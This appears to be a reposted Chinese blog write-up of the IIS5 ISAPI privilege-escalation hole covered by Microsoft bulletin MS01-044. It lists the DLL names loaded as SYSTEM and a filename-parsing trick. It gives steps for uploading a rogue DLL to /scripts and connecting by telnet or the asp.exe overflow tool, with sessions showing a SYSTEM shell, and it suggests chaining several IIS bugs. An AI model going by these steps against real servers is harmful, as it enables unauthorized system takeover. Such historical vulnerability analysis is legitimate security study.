HTTP://www.microsoft.com/technet/security/bulletin/ms01-044.asp此公告除了公佈3個拒絕服務漏洞外還公佈了兩個比較嚴重的漏洞。一個是IIS的SSINC.DLL溢出漏洞,另一個是IIS提升許可權漏洞。其實我們的計畫是SSINC.DLL的溢出公佈後下一個就是這個許可權提升漏洞。不過由於微軟補丁的速度問題,沒想到被別人先通告微軟了。

 

下面是原來內部的一些資料:

 

IIS4預設情況下,應用程式保護選項是「低(共用IIS進程)」,所以載入isapi的時候是以載入IIS的身份執行。但WIN2K+IIS5.0預設情況下應用程式保護選項是「中(共用的)」,這時IIS載入isapi是用的iwam_computername使用者身份執行。
但預設情況下WIN2K+IIS5對於一些特殊isapi又要以system身份載入。win2k+iis5 、win2k+iis5+sp1、win2k+iis5+sp2都是簡單的判斷isapi的檔案名,並且沒有做目錄限制,以SYSTEM許可權載入的isapi有:
1、 idq.dll
2、 HTTPext.dll
3、 HTTPodbc.dll
4、 ssinc.dll
5、 msw3prt.dll
6、 author.dll
7、 admin.dll
8、 shtml.dll
9、 sspifilt.dll
10、compfilt.dll
11、pwsdata.dll
12、md5filt.dll
13、fpexedll.dll

 

所以利用這很容易得到SYSTEM許可權。並且判斷檔案名的時候有個bug,比如請求/scripts/test%81%5cssinc.dll也將會認為是請求的ssinc.dll,就是分離檔路徑的時候沒有考慮到雙位元組的遠東版問題。ssinc.dll在處理包含檔路徑的時候也有一個問題,就是"/"、"\"只識別了一個"/",所以如果請求裡面使用"\",就會錯誤的處理包含檔路徑,有可能洩露東西或者出現許可權漏洞,這種漏洞很多別的地方( php、asp等)也還存在。

 

但在補了HTTP://www.microsoft.com/technet/security/bulletin/ms01-026.asp 補丁(%25二次解碼補丁包,包含在sp3)後,載入這些isapi不是單以檔案名做依據了,而是加了路徑,應該是修正了此問題。
一般預設情況下是:
1、 idq.dll d:\winnt\system32\idq.dll
2、 HTTPext.dll d:\winnt\system32\inetsrv\HTTPext.dll
3、 HTTPodbc.dll d:\winnt\system32\inetsrv\HTTPodbc.dll
4、 ssinc.dll d:\winnt\system32\inrtsrv\ssinc.dll
5、 msw3prt.dll d:\winnt\system32\msw3prt.dll
6、 author.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_aut\author.dll
7、 admin.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\_vti_adm\admin.dll
8、 shtml.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\shtml.dll
9、 sspifilt.dll d:\winnt\system32\inetsrv\sspifilt.dll
10、compfilt.dll d:\winnt\system32\inetsrv\compfilt.dll
11、pwsdata.dll d:\winnt\system32\inetsrv\pwsdata.dll
12、md5filt.dll d:\winnt\system32\inetsrv\md5filt.dll
13、fpexedll.dll D:\Program Files\Common Files\Microsoft Shared\web server extensions\40\bin\fpexedll.dll

 

正常情況下這些路徑都guest不能寫,所以應該算已經補上。但如果配置不好,這些路徑guest能夠寫了就一樣可以提升許可權了。

 

win2000的getadmin

 

把此dll上傳到IIS的可執行目錄,檔案名可叫ssinc.dll或者admin.dll等(上面列的13個檔案名之一)。然後使用telnet或者原來的asp.exe。

 

1、使用telnet。因為這不是專門的用戶端,使用參數「?okok」讓通信不加密,如果不帶這參數將是亂碼。

 

D:\WINNT\temp>telnet 192.168.8.48 80
get /scripts/ssinc.dll?okok
XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.

 

D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM
D:\WINNT\system32>

 

2、使用asp.exe。同樣支援iisput、iisget、iiscmd等命令。
E:\work\asp\Debug>asp 192.168.8.48 /scripts/ssinc.dll

 

IIS4.0 OVERFLOW PROGRAM 2.0 .
copy by yuange 2000.6.2.
welcome to my homepage HTTP://yuange.yeah.net .
welcome to HTTP://www.nsfocus.com .
usage: asp <server> [aspfile] [webport] [offset]

 

nuke ip: 192.168.8.48 port 80
offset:0

 

shellcode long 0x143c

 

packetlong:0x1003c

 

send packet 65634 bytes.
recv:
TRACK / HTTP/1.1
HOST:192.168.8.48

 

ok!recv 8 bytes

 

recv:XORDATAMicrosoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-2000 Microsoft Corp.

 

D:\WINNT\system32>whoami
whoami
NT AUTHORITY\SYSTEM

 

對於IIS4預設情況下載入ISAPI的DLL都是SYSTEM許可權,要得到SYSTEM許可權那就根本不是問題。但IIS5預設不是,就需要利用這個提升許可權漏洞。這個漏洞照現在公佈的,需要有個可寫目錄供上傳利用的dll,因為UNICODE漏洞所以不一定要在虛擬目錄,不過預設情況下虛擬可執行目錄/scripts可寫。
其實結合別的漏洞,根本不需要可寫目錄,不需要上傳DLL,可以利用IIS自身帶的一些DLL,利用UNICODE、利用溢出,利用再一個漏洞、加上這個提升許可權的漏洞,那就可以一步到位,直接得到system許可權。

 

WINDOWS、IIS等漏洞太多,現在利用IIS漏洞都是玩組合了。像上面說的實際應用中就可以一下利用我們發現的unicode、fpse擴展溢出、截斷、提升許可權漏洞4個大漏洞。
 
 

 

 

創作者介紹
創作者 戮克 的頭像
戮克

自由手記

戮克 發表在 痞客邦 留言(0) 人氣()